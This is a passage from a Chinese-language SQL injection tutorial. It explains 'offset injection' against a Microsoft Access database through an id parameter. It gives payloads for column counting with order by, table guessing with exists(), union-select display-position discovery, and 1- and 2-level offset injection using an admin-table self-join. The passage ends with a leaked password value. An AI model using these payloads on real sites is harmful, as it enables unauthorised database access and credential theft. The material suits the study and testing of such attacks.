说明存在注入点,且为数字型注入
payload:
?id=1513 order by 22
页面返回正常,说明当前表(即product表)对应的字段数量为22
payload:
?id=1513 and exists(select * from admin)
因为access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解。此次页面返回正常,说明存在access数据库中存在admin表。
payload:
?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
在页面的源码中,我们可以看到存在3,9,13,15 四个显示位
payload:
?id=1513 and exists(select * from admin order by 6)
页面返回正常,说明admin有6个字段
偏移注入的基本公式:
联合查询所要补充的字段数 = 当前表的字段数 - 目标表的字段数 x N(N=1,2...)
在此处即为:联合查询补充字段数 = product表的字段数 - admin表的字段数 x N
当N=1时我们称为 “1级偏移注入”,当N=2时我们称为 “2级偏移注入”;当N=3时我们称为 “3级偏移注入”,...
1级偏移注入的payload:
根据公式我们可以计算出:联合查询补充字段数 = 22-6x1 = 16
?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
在这里我们解释一下,为什么1级偏移注入并没有爆出我们想要的字段值呢:
由前面的步骤我们已经得知,已经确定的显示位只有 3,9,13,15 四个,即只有处于第3,9,13,15这四个字段的数据才可以显示出来,
但是我们观察下标发现,在进行1级偏移注入时,admin表的数据实际上是排在了17号字段之后了,当然不会在页面中显示出来。
那么我们怎么样才可以将admin表的数据向前移动,以致可以使其处于第3,9,13,15号字段而显示出来呢?
答案是:我们可以进行2级(多级)偏移注入(即通过admin表的自连接使得sql语句中“ * ”所代表的的字段数增大,那么联合查询中用于充数字段就会减小,这样的话,admin表中的数据自然会向前移动了)
2级偏移注入的payload:
根据公式我们可以计算出:联合查询补充字段数 = 22-6x2 = 10
?id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin a inner join admin b on a.id=b.id)
根据页面返回的数据,我们可以看到,在第13号显示位,我们成功的爆出了密码值:a48e190faf
但这是为什么呢?